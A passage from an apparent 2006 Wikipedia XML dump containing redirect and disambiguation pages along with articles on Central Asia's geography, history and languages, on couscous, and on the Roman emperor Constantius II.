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        <username>UtherSRG</username>
        <id>33145</id>
      </contributor>
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    </revision>
  </page>
  <page>
    <title>Canis latrans</title>
    <id>6740</id>
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      <id>15904861</id>
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      <text xml:space="preserve">#REDIRECT [[Coyote]]


</text>
    </revision>
  </page>
  <page>
    <title>Canis familiaris</title>
    <id>6741</id>
    <revision>
      <id>15904862</id>
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    </revision>
  </page>
  <page>
    <title>Central Asia</title>
    <id>6742</id>
    <revision>
      <id>41775662</id>
      <timestamp>2006-03-01T17:42:45Z</timestamp>
      <contributor>
        <username>Garzo</username>
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      <minor />
      <comment>avoid redirect [[Turkic Languages]] -&gt; [[Turkic languages]]</comment>
      <text xml:space="preserve">{{cleanup-date|September 2005}}

[[Image:Central Asia borders.png|frame|Map of '''Central Asia''' showing three sets of possible boundaries for the region]]
[[Image:Central Asia world region2.png|thumb|326px|'''Central Asia''' located as a region of the world]]

'''Central Asia''' ([[Russian language|Russian]]: Средняя Азия/&quot;Srednyaya Azia&quot; for &quot;Middle Asia&quot; or Центральная Азия/&quot;Tsentral'naya Azia&quot; for &quot;Central Asia&quot;; in [[Turkic languages]] &quot;Orta Asya&quot;; in [[Persian language|Persian]] آسياى مرکزی; [[Standard Mandarin]] [[Chinese language|Chinese]]: 中亚/ [[pinyin]]: &quot;Zhōngyà&quot;; [[Arabic language|Arabic]]: آسيا الوسطى/&quot;Asya al Wusta&quot;) is a vast [[landlocked]] region of [[Asia]]. Though various definitions of its exact composition exist, no one definition is universally accepted. Despite this uncertainty in defining borders, it does have some important overall characteristics. For one, Central Asia has historically been closely tied to its [[nomad]]ic peoples and the [[Silk Road]]. As a result, it has acted as a crossroads for the movement of people, goods, and ideas between [[Europe]], the [[Middle East]], [[South Asia]], and [[East Asia]]. It is also sometimes known as '''Middle Asia''' or '''Inner Asia''', and is within the scope of the wider [[Eurasian|Eurasian]] continent. It is also sometimes known as [[Turkestan]].

== Definitions ==
The idea of Central Asia as a distinct region of the world was introduced in 1843 by the geographer [[Alexander von Humboldt]]. The borders of Central Asia are subject to multiple definitions. Many text books still refer to this area as [[Turkestan]], which was the name used prior to Stalin's rule.

The most limited definition was the official one of the [[Soviet Union]] that defined the &quot;Middle Asia&quot; as consisting solely of [[Uzbekistan]], [[Turkmenistan]], [[Tajikistan]], and [[Kyrgyzstan]], but did not include [[Kazakhstan]].  This definition was also often used outside the USSR in this period. However, the  [[Russian language]] has two distinct terms: Средняя Азия (''Srednyaya Azia'' or &quot;Middle Asia&quot;, the narrower definition which includes only those traditionally non-Slavic, &quot;Central Asian&quot; lands that were incorporated within those borders of historical Russia) and Центральная Азия (''Tsentral'naya Azia'' or &quot;Central Asia&quot;, the wider definition which includes &quot;Central Asian&quot; lands that have never been part of historical Russia). However, there lacks a meaningful distinction between the two in the [[English language]]; and so &quot;Central Asia&quot; is used for both Russian usages, thus creating some confusion. The new post-USSR [[Russian Federation]] has now included Kazakhstan in its new definition of &quot;Middle Asia&quot;. 

Soon after independence, the leaders of the five former [[Soviet Union|Soviet]] [[Central Asian Republics]] met in [[Tashkent]] and declared that the definition of Central Asia should include Kazakhstan as well as the original four included by the Soviets. Since then, this has become the most common definition of Central Asia.

The UNESCO general history of Central Asia, written just before the collapse of the USSR, defines the region based on climate and uses far larger borders. According to it, Central Asia includes [[Mongolia]], Western [[China]] (including [[Tibet]]), northeast [[Iran]], [[Afghanistan]] and western [[Pakistan]], central-east Russia south of the [[Taiga]], the former Central Asian [[Soviet]] Republics (the five &quot;Stans&quot; of the former [[Soviet Union]]), but also even the [[Punjab region|Punjab]], northern [[India]] and [[Pakistan]]. 

An alternative method is to define the region based on ethnicity, and in particular, areas populated by [[Eastern Turkic]], Eastern [[Iranian peoples|Iranian]], or [[Mongolian]] peoples. These areas include [[Xinjiang]], the Turkic/[[Muslim]] regions of southern [[Siberia]], the five republics, and [[Afghan Turkestan]]. The [[Tibetans]] are also included. Insofar, the mentioned peoples are considered the &quot;indigenous&quot; peoples of the vast region.

Colonization and settlement by [[Chinese people|Chinese]], [[Iranian peoples|Iranians]], and [[Russians]] was to come later.

== Geography ==
[[Image:Central Asia Physical.jpg|thumb|375px|[[Physical map]] of '''Central Asia''' from the Caucasus in the northwest, to Mongolia in the northeast.]]

Central Asia is an extremely large region of varied geography, including high plateaus and [[mountain range|mountains]] ([[Tian Shan]]), vast [[desert]]s ([[Kara Kum]], [[Kyzyl Kum]], [[Taklamakan]]), and especially treeless, grassy [[steppe]]s. Much of the land is too dry or too rugged for farming. The [[Gobi desert]] extends from the foot of the [[Pamir Mountains|Pamir]]s, 77° east, to the [[Great Khingan]] (Da Hinggan) Mountains, 116°-118° east.

Central Asia has the following geographic extremes:
*The world's northernmost [[desert]] ([[dune|sand dunes]]), at Buurug Deliin Els, [[Mongolia]], 50°18' north.
*The [[Northern Hemisphere|Northern Hemisphere's]] southernmost [[permafrost]], at Erdenetsogt sum, [[Mongolia]], 46°17' north.
*The world's shortest distance between non-frozen [[desert]] and [[permafrost]]: 770 km (440 mi).

A majority of the people earn a living by herding livestock. Industrial activity centers in the region's cities. 

Major rivers of the region include the [[Amu Darya]], the [[Syr Darya]] and the [[Hari Rud]]. Major bodies of water include the [[Aral Sea]] and [[Lake Balkhash]], both of which are part of the huge west/central Asian [[endorheic]] basin that also includes the [[Caspian Sea]]. Both of these bodies of water have shrunk significantly in recent decades due to diversion of water from rivers that feed them for irrigation and industrial purposes. Water is an extremely valuable resource in arid Central Asia, and can lead to rather significant international disputes.

[[Image:Central Asia climate.jpg|thumb|375px|[[Climate]] map of Central Asia. This map clearly illustrates the boundaries of Central Asia. From the northwest, the mountain climate (purple) extends from the Caucasus, through Iranian Azerbaijan, along the Iranian border, through Afghanistan, and into Tibet in the southeast. The steppe climate (peach) extends from the North Caucasus in the northwest, over the Caspian Sea, through Kazakhstan, and around [[Mongolia (region)|Mongolia]] in the northeast. The arid climates of the Ferghana Valley, Takla Makan and Gobi deserts are also prominently visible.]]
&lt;!-- FAIR USE of Central_Asia_climate.jpg: see image description page at http://en.wikipedia.org/wiki/Image:Central_Asia_climate.jpg for rationale --&gt;

===Climate===
Since Central Asia is not buffered by a large body of water, temperature fluctuations are more severe.

According to the [[Köppen climate classification]] system, Central Asia is part of the [[Palearctic]] [[ecozone]]. The largest [[biome]] in Central Asia is the [[Temperate grasslands, savannas, and shrublands]] biome. Central Asia also contains the [[Montane grasslands and shrublands]], [[Deserts and xeric shrublands]] and [[Temperate coniferous forests]] biomes.

== History ==
:''Main article:[[History of Central Asia]]''

The history of Central Asia is defined by the area's climate and geography. The aridness of the region made agriculture difficult and its distance from the sea cut it off from much trade. Thus few major cities developed in the region, instead the area was for millennia dominated by the nomadic horse peoples of the [[steppe]]. 

Relations between the steppe nomads and the settled people in and around Central Asia were long marked by conflict. The nomadic lifestyle was well suited to warfare and the steppe horse riders became some of the most militarily potent peoples in the world, only limited by their lack of internal unity.  Periodically great leaders or changing conditions would organize several tribes into to one force, and create an almost unstoppable power. These included the [[Huns|Hun]] invasion of Europe, the [[Wu Hu]] attacks on China and most notably the [[Mongol]] conquest of much of [[Eurasia]]. 

The dominance of the nomads ended in the sixteenth century, as [[firearm]]s allowed settled peoples to gain control of the region.  [[Russia]], [[China]], and other powers expanded into the region and had captured the bulk of Central Asia by the end of the nineteenth century.  After the [[Russian Revolution of 1917|Russian Revolution]] the Central Asian regions were incorporated into the Soviet Union. Mongolia remained independent but became a Soviet [[satellite state]]. The Soviet areas of Central Asia saw much industrialization and construction of infrastructure, but also  the suppression of local cultures, hundreds of thousands of deaths from failed collectivization programs, and a lasting legacy of ethnic tensions and environmental problems. 

With the collapse of the [[Soviet Union]] five countries gained independence. In all the new states former Communist Party officials retained power as local strongmen. In no state is repression as great as it was in Soviet times, but none of the new republics could be considered functional democracies. Other parts of Central Asia remain part of China or Russia.

== Geostrategy ==
:''Main article:'' [[Geostrategy in Central Asia]]

Central Asia has long been a strategic location merely because of its proximity to several great powers on the Eurasian landmass. The region itself never held a dominant stationary population, nor was able to make use of natural resources. Thus it has rarely throughout history become the seat of power for an empire or influential state. Much like Poland throughout European history, Central Asia has been divided, redivided, conquered out of existence, and fragmented time and time again. Central Asia has served more as the battleground for outside powers, than as a power in its own right.

Central Asia had both the advantage and disadvantage of a central location between four historical seats of power. From its central location, it has access to trade routes, or lines of attack, to all the regional powers. On the other hand, it has been continuously vulnerable to attack from all sides throughout its history, resulting in political fragmentation or outright power vacuum, as it is successively dominated.
*To the North, the steppe allowed for rapid mobility, first for nomadic horseback warriors like the Huns and Mongols, and later for Russian traders, eventually supported by railroads. As the Russian empire expanded to the East, it would also push down into Central Asia towards the sea, in a search for warm water ports. The Soviet bloc would reinforce dominance from the North, and attempt to project power as far south as Afghanistan.
*To the East, the demographic and cultural weight of Chinese empires continually pushed outward into Central Asia. The Mongol Yuan dynasty would conquer parts of East Turkestan and Tibet, and the later Manchu dynasty would reconquer those areas several centuries later. As part of the Sino-Soviet bloc, China would swallow Tibet. However, with the Sino-Soviet split, China would project power into Central Asia, most notably in the case of Afghanistan, to counter Russian dominance of the region.
*To the Southeast, the demographic and cultural influence of India was felt in Central Asia, notably in Tibet, the Hindu Kush, and slightly beyond. Several historical Indian dynasties, especially those seated along the Indus river would expand into Central Asia. India's ability to project power into Central Asia has been limited due to the mountain ranges in Pakistan, and the cultural differences between Hindu India, and what would become a mostly Muslim Central Asia.
*To the Southwest, Middle Eastern powers have expanded into the Southern areas of Central Asia (usually, Uzbekistan, Afghanistan, and Pakistan). Several Persian empires would conquer and reconquer parts of Central Asia; Alexander the Great's Hellenic empire would extend into Central Asia; two Arab Islamic empires would exert substantial influence throughout the region; and the modern state of Iran has projected influence throughout the region as well.

In the post-Cold War era, Central Asia is an ethnic cauldron, prone to instability and conflicts, without a sense of national identity, but rather a mess of historical cultural influences, tribal and clan loyalties, and religious fervor. Projecting influence into the area is no longer just Russia, but also Turkey, Iran, China, Pakistan, India and the United States:
*Russia continues to dominate political decision-making throughout the Caucasus, and former SSRs, although as these countries shed their post-Soviet authoritarian systems, Russia's influence is slowly waning.
*Turkey has some influence because of the ethnic and linguistic ties with the Turkic peoples of Central Asia, as well as serving as an oil pipeline route to the Mediterranean.
*Iran, the seat of historical empires which controlled parts of Central Asia, has historical and cultural links to the region, as is vying to construct an oil pipeline from the Caspian Sea to the Persian Gulf.
*China, already controlling Xinjiang and Tibet, projects significant power in the region, especially in energy/oil politics (for example, through the [[Shanghai Cooperation Organization]].)
*Pakistan, a large but unstable nuclear-armed state, helped to sustain Taliban rule in Afghanistan, and is capable of exercising some influence. For some Central Asian nations, the shortest route to the ocean lies through Pakistan. Pakistan seeks [[Natural Gas]] from Central Asia, and supports the development of pipelines from its countries.
*India, as a nuclear-armed rising power, exercises some influence in the region, especially in Tibet with which it has cultural affinities.  India is also perceived as a potential counterweight to China's regional power.
*And the United States with its military involvement in the region, and oil diplomacy, is also significantly involved in the region's politics.

===Oil politics===

''See:'' [[Oil geostrategy]], [[Pipelines]], [[Caspian Sea]], [[Petroleum politics]]

===War on Terror===

In the context of the United States' [[War on Terror]], Central Asia has once again become the center of geostrategic calculations. Pakistan's status has been upgraded by the U.S.-government to a &quot;major non-NATO ally&quot; because of its central role in serving as a staging point for the invasion of Afghanistan, providing intelligence on Al-Qaeda operations in the region, and leading the hunt on Osama bin Laden, believed to still be in the region. Afghanistan, which had served as a haven and source of support for Al-Qaeda, under the protection of Mullah Omar and the Taliban, was the target of a U.S. invasion in 2001, and ongoing reconstruction and drug-eradication efforts. U.S. military bases have also been established in Uzbekistan and Kyrgyzstan, causing both Russia and the People's Republic of China to voice their concern over a permanent U.S. military presence in the region.

It is argued that the PRC and Russia, as well as several of the former SSRs, have taken advantage of the War on Terror to increase oppression of separatist ethnic minorities. China has taken a harder line against the Uighur separatists of Xinjiang, while Russia has pursued the second war in Chechnya with greater intensity. Washington, which considers Russia and China as strategic partners in the War on Terror, has largely turned a blind eye to these actions. The ethnically diverse former SSRs, especially Uzbekistan have reclassified ethnic separatist attacks as terrorist attacks and pursued more oppressive policies.

==Culture==

===Religions===
[[Islam]] is the religion most common in the former Soviet [[Central Asian Republics]], Afghanistan, Xinjiang and the peripheral western regions. Most Central Asian Muslims are [[Sunni]], although [[Shia]] comprise the great majority in Azerbaijan, and in Afghanistan and Pakistan there are sizable Shia minorities. [[Tibetan Buddhism]] is most common in Tibet, Mongolia, and the southern Russian regions of Siberia, where [[Shamanism]] is also popular. Increasing [[Han Chinese]] migration westward since the establishment of the PRC has brought [[Confucianism]] and other beliefs into the region. [[Nestorianism]] was the form of Christianity most practiced in the region in previous centuries, but now the largest denomination is the [[Russian Orthodox Church]], with many members in Kazakhstan. The [[Bukharan Jews]] were once a sizable community in Uzbekistan, but nearly all have emigrated in recent years.

===Arts===

[[Image:102 0811.jpg|thumb|right|300px|[[Yama]], Lord of Death, [[Tibet]], [[Field Museum]], [[Chicago, Illinois]].]]
At the crossroads of Asia, shamanist practices live alongside [[Buddhism]]. Thus [[Yama]], Lord of Death, was revered in Tibet as a spiritual guardian and judge. Mongolian Buddhism in particular influenced Tibetan Buddhism. The [[Qianlong]] Emperor of China in the 18th century was Tibetan Buddhist, and would sometimes travel from [[Beijing]] to other cities for personal religious worship.

Note the human skulls and severed heads that festoon Yama's crown and necklace, which give some concept of the size that Yama was expected to be when one faced him at one's death.

This particular [[Dharmapala]] is painted wood, four feet high in total.

Central Asia also has an indigenous and ancient form of [[rap music|rap]] which is over 1000 years old.  It is principally practiced in Kyrgyzstan and Kazakhstan by ''akyns'', lyrical improvisationists.  They will engage in [[Freestyle battle|lyrical battles]], the ''aitysh'' or the ''alym sabak''.  The tradition arose out of early bardic [[Oral history|oral historians]].  They are usually accompanied by a [[String instrument|stringed instrument]]&amp;mdash;in Kyrgyzstan, a three-stringed ''komuz'' and in Kazakstan a similar two-stringed instrument.  Some also learn to sing the ''[[Manas (epic)|Manas]]'', Kyrgyzstan's epic poem (those who learn the ''Manas'' exclusively, without engaging in rap, are called ''manaschis'').  During Soviet rule, ''akyn'' rap was co-opted by the authorities and subsequently declined in popularity.  With the fall of the Soviet Union it has enjoyed a resurgence, although ''aykns'' still do use their art to campaign for political candidates. [http://www.washingtonpost.com/wp-dyn/articles/A10646-2005Mar5.html]

== Demographics ==
By the most inclusive definition, more than 80 million people live in Central Asia, about 2% of Asia's total population. Of the regions of Asia, only [[North Asia]] has fewer people. It has a population density of 9 people per km&amp;sup2;, vastly less than the 80.5 people per km&amp;sup2; of the continent as a whole.

{|style=&quot;margin: 0 0 0.5em 0.5em; float: right; clear: right; border: 1px #aaa solid; border-colapse: colapse;&quot;
!style=&quot;padding: 5px; background-color: yellow;&quot;|Major languages&lt;br&gt;of Central Asia
|-
|style=&quot;padding: 0 0 0 10px;&quot;|[[Turkic languages]]
*[[Turkmen language|Turkmen]]
*[[Kazakh language|Kazakh]]
*[[Kyrgyz language|Kyrgyz]]
*[[Tatar language|Tatar]]
*[[Uzbek language|Uzbek]]
*[[Uighur language|Uighur]]
|-
|style=&quot;padding: 0 0 0 10px;&quot;|[[Iranian languages]]
*[[Persian language|Persian]]
*[[Dari (of Afghanistan)|Dari]]
*[[Pushtu language|Pashto]]
*[[Tajik language|Tajik]]
|-
|style=&quot;padding: 0 0 0 10px;&quot;|Other major languages
*[[Mongolian language|Mongolian]]
*[[Tibetan language|Tibetan]]
|-
|style=&quot;padding: 0 0 0 10px;&quot;|[[lingua franca|Linguae francae]]
*[[Russian language|Russian]]
*[[Chinese language|Chinese]]
|}
===Languages===
The languages of the majority of the inhabitants of the former [[Soviet]] [[Central Asian Republics]] come from the [[Turkic languages|Turkic language group]]. [[Turkmen language|Turkmen]], closely related to [[Turkish language|Turkish]] (they are both members of the [[Oghuz Turks|Oghuz]] group of Turkic), is mainly spoken in [[Turkmenistan]] and into [[Afghanistan]], [[Iran]] and [[Turkey]]. [[Kazakh language|Kazakh]], [[Kyrgyz language|Kyrgyz]] and [[Tatar language|Tatar]] are related languages of the [[Kipchaks|Kypchak]] group of Turkic languages, and are spoken throughout [[Kazakhstan]], [[Kyrgyzstan]] and [[Tajikistan]], and into [[Afghanistan]], [[Xinjiang]] and [[Qinghai]]. [[Uzbek language|Uzbek]] and [[Uighur language|Uighur]] are spoken in [[Uzbekistan]], [[Tajikistan]] and [[Xinjiang]]. [[Russian language|Russian]], as well as being spoken by the ethnic [[Russians]] of Central Asia, is a [[lingua franca]] throughout the former [[Soviet]] [[Central Asian Republics]]. [[Chinese language|Chinese]] has an equally dominant presence in [[Inner Mongolia]], [[Qinghai]] and [[Xinjiang]].

The [[Turkic languages]] belong to the much larger [[Altaic languages|Altaic]] language family, which includes [[Mongolian language|Mongolian]]. Mongolian is spoken throughout the region of [[Mongolia]] and into [[Qinghai]] and [[Xinjiang]].

[[Iranian languages]] were once spoken throughout Central Asia, but the once prominent [[Sogdian language|Sogdian]], [[Bactrian language|Bactrian]] and [[Scythian language|Scythian]] languages are now extinct. However, the [[Persian language|Persian]] language is still spoken in the region, locally known as [[Dari (of Afghanistan)|Dari]] or [[Tajik language|Tajik]]. [[Pushtu language|Pashto]] is spoken in [[Afghanistan]] and western [[Pakistan]].

The [[Tibetan language]] is spoken by around six million people across the [[Tibetan Plateau]] and into [[Qinghai]].

==References==
* Dani, A.H. and V.M. Masson eds. ''UNESCO History of Civilizations of Central Asia''. Paris: [[UNESCO]], 1992-
* Mandelbaum, Michael. ed.  ''Central Asia and the World: Kazakhstan, Uzbekistan, Tajikistan, Kyrgyzstan, and Turkmenistan'' New York: [[Council on Foreign Relations]] Press, 1994.
* Olcott, Martha Brill. ''Central Asia's New States: Independence, Foreign policy, and Regional security. ''Washington, D.C.: United States Institute of Peace Press, 1996.
* Soucek, Svatopluk. ''A History of Inner Asia.'' Cambridge: Cambridge University Press, 2000.
* [[M. Ismail Marcinkowski]], ''Persian Historiography and Geography: Bertold Spuler on Major Works Produced in [[Iran]], the [[Caucasus]], [[Central Asia]], [[India]] and Early [[Ottoman Turkey]], with a foreword by Professor Clifford Edmund Bosworth'', member of the [[British Academy]], Singapore: Pustaka Nasional, 2003, ISBN 9971774887.

== External links ==
* [http://www.ku.edu/carrie/cec/ Carrie Central Asia Collection] — Full-text documents, literature, interpretive commentaries at the University of Kansas.
* [http://www.jamestown.org/edm/ Eurasia Daily Monitor] — political, strategic, and economic news from Central Asia.
* [http://eurasianet.org/ EurasiaNet] — information and analysis about political, economic, environmental and social developments in Central Asia.
* [http://www.fas.harvard.edu/~casww/index.html/ Central Eurasian Studies World Wide].
* [http://www.getcited.org/mbrx/PT/2/MBR/10819625 Publications on the history of Central Asia Prior to 1917].
* [http://www.ucentralasia.org/ University of Central Asia].

==See also==
*[[Music of Central Asia]]
*[[Turkistan]]

{{Central_Asia}}
{{Region}}

[[Category:Central Asia| ]]

[[an:Asia Zentral]]
[[bg:Централна Азия]]
[[de:Zentralasien]]
[[es:Asia Central]]
[[eo:Mez-Azio]]
[[fr:Asie centrale]]
[[ko:중앙아시아]]
[[id:Asia Tengah]]
[[kw:Asi Gres]]
[[lt:Vidurinė Azija]]
[[nl:Centraal-Azië]]
[[ja:中央アジア]]
[[no:Sentral-Asia]]
[[pl:Azja Środkowa]]
[[pt:Ásia Central]]
[[ro:Asia Centrală]]
[[ru:Центральная Азия]]
[[sr:Централна Азија]]
[[sv:Centralasien]]
[[tl:Gitnang Asya]]
[[fi:Keski-Aasia]]
[[vi:Trung Á]]
[[zh:中亚]]
[[th:เอเชียกลาง]]</text>
    </revision>
  </page>
  <page>
    <title>Constantine I</title>
    <id>6743</id>
    <revision>
      <id>39870506</id>
      <timestamp>2006-02-16T12:47:17Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">There were several rulers called '''Constantine I'''.

*[[Roman emperor]] [[Constantine I (emperor)|Constantine I (the Great)]]
*[[Constantine I of Scotland]]
*[[Constantine I of Greece]]

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Constantine II</title>
    <id>6744</id>
    <revision>
      <id>39870544</id>
      <timestamp>2006-02-16T12:47:52Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <text xml:space="preserve">There were several rulers called '''Constantine II'''.


* [[Antipope Constantine II]], antipope from [[767]] - [[768]]
* [[Constantine II (emperor)|Constantine II]] ([[317]] - [[340]]), Roman Emperor [[337]] - [[340]]
* [[Constantine II of Scotland]] ([[874]]? - [[952]]), King of Scotland [[900]] - [[942]] or [[943]]
* [[Constantine II of Greece]] (born 6/2/1940), King of Greece [[March 6]], [[1964]] - [[December 8]], [[1974]]

{{disambig}}

[[fr:Constantin II]]
[[pl:Konstantyn II]]</text>
    </revision>
  </page>
  <page>
    <title>Couscous</title>
    <id>6745</id>
    <revision>
      <id>42094719</id>
      <timestamp>2006-03-03T20:12:07Z</timestamp>
      <contributor>
        <username>Dumarest</username>
        <id>802809</id>
      </contributor>
      <comment>Expanded history, possible sub-Saharan origins</comment>
      <text xml:space="preserve">[[Image:Couscous.jpg|thumbnail|300px|Couscous grains]]
'''Couscous''' is a simple food of the Maghreb, ideal for nomadic people. Ths dish, with a name derived from [[Maghreb Arabic]] ''kuskusu'', which is from [[Tamazight]] ''seksu'', is a [[food]] which consists of grains made from [[semolina]] which are about 1 mm or 1/16th inch in diameter (after cooking). 

Couscous was traditionally made from the hard part of the hard [[wheat]] ''[[Triticum]] durum'', the part of the grain that resisted the grinding of the relatively primitive [[millstone]]. The name is also used for prepared dishes made from other grains, such as [[barley]], [[millet]], [[sorghum]], [[rice]], or [[maize]].

Couscous is traditionally served under a meat or vegetable [[stew]].  The dish is the primary staple food throughout the [[Maghreb]]; in much of Algeria, eastern [[Morocco]], [[Tunisia ]], and [[Libya]] it is simply known as ''ta`aam'' &amp;#1591;&amp;#1593;&amp;#1575;&amp;#1605;, &quot;food&quot;.  It is popular in the [[Maghreb]], the West African [[Sahel]], in [[France]], and parts of the [[Middle East]], it's also very popular among [[Jew]]s of [[North African]] descent, but this speciality is from a [[Berber]] origin.

In the [[United States]] couscous is known as a [[pasta]], however in most other countries it is treated more like a [[cereal|grain]] in its own right.

==History==

One of the first written references is from an anoymous 13th century Hispano-Muslim cookery book, &quot;Kitāh al-tabǐkh fǐ al-Maghrib wa'l-Andalus&quot;, with a recipe for couscous that was 'known all over the world'. From the name, it appears that this dish was not Arab, but Berber. Couscous was known to the Nasrid royalty in [[Granada]] as well. And in the 13th century a Syrian historian from [[Aleppo]] includes four references for couscous. These early mentions show that couscous spread rapidly, but that in the main, couscous was common from [[Tripolitania]] to the west, while from [[Cyrenaica]] to the east the main culinary basis was Egyptian food, with couscous as a novelty. Today, in [Egypt]] and the [[Middle East]], couscous is known, but in [[Morocco]], [[Algeria]], and [[Tunisia]], couscous is a staple.

One of the earliest references to couscous in Northern Europe is in [[Brittany]], in a letter dated Jan. 12 1699. But it made a much earlier appearance in [[Provence]], where the traveler Jean Jacques Bouchard writes of eating it in [[Toulon]] in 1630.

==African origins==

Evidence is mounting that the process of couscous cookery, especially the steaming of the grain over broth in a special pot, might have originated before the tenth century in the area of [[West Africa]] now comprising [[Niger]], [[Mali]], [[Mauritania]], [[Ghana]], and [[Burkina Faso]].  [[Ibn Batuta]] journeyed to [[Mali]] in 1352, and in what is now [[Mauritania]] he had a millet couscous. He also noted rice couscous in the area of [[Mali]] in 1350. Also, for centuries, among the nomadic [[Berbers]], black African women were employed as couscous cooks, another possible indication of the sub-Saharan origin of the dish.

==Manufacturing==

The couscous grains are made from [[semolina]] (coarsely ground [[durum]] wheat) or, in some regions, from coarsely ground [[barley]] or [[millet]].  The semolina is sprinkled with water and rolled with the hands to form small pellets, sprinkled with dry semolina to keep the pellets separate, and then sieved.  The pellets which are too small to be finished grains of couscous fall through the sieve to be again sprinkled with dry semolina and rolled into pellets.  This process continues until all the semolina has been formed into tiny grains of couscous.

This process is very labour-intensive.  Traditionally, groups of women would come together and make a large batch of couscous grains over several days.  These would then be dried in the sun and used for several months.  In modern times, couscous production is largely mechanized, and is sold in markets around the world.

'''Berkoukes''' are pasta bullets made by the same process, but are larger than the grains of couscous.

==Cooking==

Couscous should be steamed two to three times. When properly cooked the texture is light and fluffy, it should not be gummy or gritty. The couscous available to buy in most Western supermarkets has been pre-steamed and dried, the package directions usually instruct to add a little boiling water to it to make it ready for consumption. This method is quick and easy to prepare by pouring the couscous grains into boiling water or stock, adding some vegetable oil and stirring.  The couscous swells and within a few minutes is ready to serve.  Pre-steamed couscous takes less time to prepare than dried pasta or grains such as [[rice]]. 

The traditional North African method is to use a steamer called a ''keskes'' in [[Tunisian Arabic|Tunisian]] or ''couscoussière'' in [[French language|French]].  The base is a tall metal pot shaped rather like an oil jar in which the meat and vegetables are cooked in a stew.  On top of the base a steamer sits where the couscous is cooked, absorbing the flavours from the stew.  The lid to the steamer has holes around its edge so that steam can escape. If you do not have a couscousier you can use a pot with a steamer insert. If the holes are too big line the steamer with damp cheesecloth. There is little archeological evidence of early use of couscous, mainly because the original ''kiskis'' or ''keskes'' was probably made organic material which would not survive.

In [[Algeria]], [[Tunisia]] and [[Morocco]], couscous is generally served with vegetables (carrots, turnips, etc.) cooked in a spicy or mild broth, and some meat (generally, [[chicken]], [[lamb]] or [[mutton]]); in some parts of Libya they use [[fish]] and [[squid]].  Such a dish is now popular in former [[colony|colonial]] power France, where this particular preparation is generally implied by the word &quot;couscous&quot;. Packaged sets containing a box of quick-preparation couscous and a can of vegetables and, generally, meat are sold in French grocery stores and supermarkets.

There are recipes from [[Brazil]] that use boiled couscous molded into [[timbale]] with other ingredients.  Couscous can also be combined with meat or vegetables during cooking, and is often highly flavoured with aromatic spices.

==Israeli couscous==
[[Israel]]i couscous, also known as maftoul or pearl couscous, is a larger version of couscous and used in slightly different ways. In Western cooking it is often used as a bed for [[salmon]] or [[chicken]] dishes, or put into [[salad]]s. Compare with [[egg barley]].

Israeli couscous is said to have been developed in response to the wave of Jewish immigrants from various parts of the Middle East after the state gained independance in 1948. Wheat was relatively abundant at the time, but [[rice]] was scarce. The new pasta was meant to provide a rice substitute for those immigrants from eastern Arab countries and from Persia, where rice was the staple grain.

==See also==
{{cookbook|Couscous}}
*[[Moroccan cuisine]]

==External links==

* [http://www.couscousdari.com Couscous DARI - History and origin of Couscous - Couscous recipes]

* [http://mybookofrai.typepad.com/cuisinealgerienne/ Algerian recipes plus photos] Author is a chef instructor at The California School of Culinary Arts, Le Cordon Bleu. He was born in Lyon, France to Algerian parents.

* [http://www.saudiaramcoworld.com/issue/199806/couscous-the.measure.of.the.maghrib.htm Couscous - The Measure of the Maghrib]
* [http://www.geocities.com/tdcastros/Historyserver/papers/cuscus.htm Couscous]
* [http://www.cliffordawright.com/history/couscous_history.html History of Couscous]

* [http://mybookofrai.typepad.com/my_weblog/2005/07/the_march_of_co.html &quot;The March of Couscous&quot; article written by Farid Zadi.] Traces how couscous was taken to different countries from its origins in North Africa.

[[Category:Cereals]]
[[Category:Maghreb]]
[[Category:Moroccan cuisine]]
[[Category:Pasta]]

[[bg:Кускус]]
[[ca:Cuscús]]
[[de:Kuskus]]
[[eo:Kuskuso]]
[[fr:Couscous]]
[[nl:Couscous]]
[[he:קוסקוס]]
[[ja:クスクス]]
[[pl:Kuskus (kasza)]]
[[pt:Cuscuz]]
[[sl:Kuskus]]
[[fi:Kuskus]]
[[sv:Couscous]]</text>
    </revision>
  </page>
  <page>
    <title>Constantius II</title>
    <id>6746</id>
    <revision>
      <id>40599410</id>
      <timestamp>2006-02-21T19:06:16Z</timestamp>
      <contributor>
        <username>Bastin8</username>
        <id>154626</id>
      </contributor>
      <minor />
      <comment>Great Britain</comment>
      <text xml:space="preserve">[[Image:Constantius_II_337_361.jpg|thumb|right|emperor Constantius II]]
'''Constantius II''', [[Roman Emperor]] ([[7 August]], [[317]] - [[3 November]], [[361]], reigned  [[337]] - [[361]]), was the second of the three sons of [[Constantine I (emperor)|Constantine I]] and [[Fausta]].

He was born in [[Sirmium]] (in [[Illyricum]]) and named [[Caesar (title)|Caesar]]. When his father died in 337, he led the massacre of his relatives decended from the second marriage of [[Constantius I Chlorus]] and [[Flavia Maximiana Theodora|Theodora]], leaving himself, his older brother [[Constantine II (emperor)|Constantine II]], his younger brother [[Constans]] and two cousins ([[Julian the Apostate]] and his brother [[Gallus Caesar|Gallus]]) as the only surviving adult males related to Constantine.  The three brothers divided the [[Roman Empire]] between them according to their father's will. Constantine II received [[Great Britain]], [[Gaul]] and [[Spain]]; Constans ruled [[Italy]], [[Africa]], and the [[Illyria|Illyrian provinces]]; and Constantius ruled [[Constantinople]] and the East.

This division changed when Constantine II died in [[340]], trying to overthrow Constans in Italy, and Constans become sole ruler in the Western half of the empire. The division changed once more in [[350]] when Constans was killed in battle by forces loyal to the usurper [[Magnentius]]. Until this time Constantius was preoccupied with fighting the [[Sassanid dynasty|Sassanid Empire]], and he was forced to elevate his cousin Gallus to Caesar to assist him while he turned his attention to this usurper.

Constantius eventually met and crushed Magnentius in the [[Battle of Mursa Major]], one of the bloodiest battles in Roman history, in [[351]]. Magnentius committed suicide in [[353]], and Constantius soon after put his cousin Gallus to death. However, he still could not handle the military affairs of both the Eastern and German frontiers by himself, so in [[355]] he elevated his last remaining relative, [[Julian the Apostate|Julian]], to Caesar. As Julian was hailed Augustus by the army in Gaul, Constantius saw no alternative but to face the usurper with violent force.
As the two armies sought engagement, Constantius died from a fever near [[Tarsus in Cilicia|Tarsus]] on November 3, 361, and Julian was hailed Augustus in the whole of the Roman empire.

Constantius took an active part in the affairs of the [[Christianity|Christian]] church, frequently taking the side of the [[Arianism|Arians]], and he called the [[Council of Rimini]] in [[359]].
